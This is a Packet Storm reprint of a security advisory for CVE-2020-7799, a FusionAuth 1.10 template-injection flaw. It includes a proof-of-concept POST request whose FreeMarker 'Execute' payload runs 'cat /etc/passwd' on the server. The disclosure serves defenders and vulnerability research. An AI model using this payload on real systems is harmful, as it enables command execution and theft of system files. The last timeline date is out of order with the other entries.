what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

FusionAuth 1.10 Remote Command Execution

FusionAuth 1.10 Remote Command Execution
Posted Jan 27, 2020
Authored by Gianluca Baldi

FusionAuth versions 1.10 and below suffer from a remote command execution vulnerability. An authenticated attacker with enough privileges to access the template editing functions (either site templates or e-mail templates) in the FusionAuth dashboard can execute commands on the underlying operating system using the Apache FreeMarker Expression language.

tags | exploit, remote
advisories | CVE-2020-7799
SHA-256 | 876ccd82d5bf49d3dd83506c810a93433c3fc4fbba012da2f79d8be9687745f0

FusionAuth 1.10 Remote Command Execution

Change Mirror Download
@Mediaservice.net Security Advisory #2020-03 (last updated on 2020-01-27)

Title: FusionAuth command execution via Apache Freemarker Template
Application: FusionAuth 1.10 and lower
Platforms: Tested on Windows 10 and Ubuntu 19.10
Description: An authenticated attacker with enough privileges to access the
template editing functions (either site templates or e-mail
templates) in the FusionAuth dashboard can execute commands on
the underlying operating system using the Apache FreeMarker
Expression language.
Author: Gianluca Baldi <gianluca.baldi@mediaservice.net>
Vendor Status: https://fusionauth.io/contact - notified on 2019-10-24
CVE Name: CVE-2020-7799
References: https://lab.mediaservice.net/advisory/2020-03-fusionauth.txt
https://fusionauth.io/
https://freemarker.apache.org/
https://www.mediaservice.net/

1. Abstract.

FusionAuth is a modern Access Management open source application, that can be
integrated with multiple technologies and platforms. FusionAuth can be
configured and customized in many ways from the administration dashboard and to
do so privileged acounts can modify templates.

FusionAuth Templates are in fact Apache Freemarker Templates, that are
interpreted by the Apache Freemarker Templates Engine. Since it is possible to
execute system commands using the Apache Freemarker Expression language,
template editing features can be abused to execute remote commands effectively,
using the "freemarker.template.utility.Execute" object.

2. Affected Platforms.

This vulnerability is platform-independent.

3. Fix.

This vulnerability has been fixed in version 1.11 of FusionAuth.

4. Proof of Concept.

Example POST request (Home -> Settings -> Email Templates -> Preview):

POST /ajax/email/template/preview HTTP/1.1
Host: 192.168.0.3:9011
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 796
DNT: 1
Connection: close
Referer: https://192.168.0.3:9011/admin/email/template/edit/2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b
Cookie: JSESSIONID=FA9DB3CBABA6B37E5336AE4B96001807;

primeCSRFToken=kRC228UjAA4ohN_E9PW9kz0HpTlxUDCB_HVrDhBUfWU&emailTemplateId=2c2591f5-2136-4a77-8b5a-1f5e9fb0e25b&emailTemplate.name=COPPA%20Notice&emailTemplate.defaultSubject=Notice%20of%20your%20consent&emailTemplate.fromEmail=no-reply%40fusionauth.io&emailTemplate.defaultFromName=FusionAuth&emailTemplate.defaultTextTemplate=You%20recently%20granted%20your%20child%20consent%20in%20our%20system.%20This%20email%20is%20to%20notify%20you%20of%20this%20consent.%20If%20you%20did%20not%20grant%20this%20consent%20or%20wish%20to%20revoke%20this%20consent%2C%20click%20the%20link%20below%3A%0A%0Ahttp%3A%2F%2Fexample.com%2Fconsent%2Fmanage%0A%0A-%20FusionAuth%20Admin&emailTemplate.defaultHtmlTemplate=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}}

5. Disclosure Timeline

2019-10-23 - First contact (issue in FusionAuth 1.9.1).
2019-10-24 - First PoC sent to the vendor.
2019-10-25 - Vendor investigates the issue.
2019-10-28 - Issue is confirmed and a disclosure date is agreed upon (2020-01-23).
2019-10-29 - Vendor silently releases a fixed version (FusionAauth 1.11.0).
2020-01-20 - Asked for updates on issue.
2020-01-20 - Vendor states that the issue has been fixed already.
2020-01-22 - Assigned CVE-2020-7799.
2019-02-27 - Advisory published.

Copyright (c) 2020 Gianluca Baldi and @Mediaservice.net. All rights reserved.
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    0 Files
  • 12
    Nov 12th
    0 Files
  • 13
    Nov 13th
    0 Files
  • 14
    Nov 14th
    0 Files
  • 15
    Nov 15th
    0 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close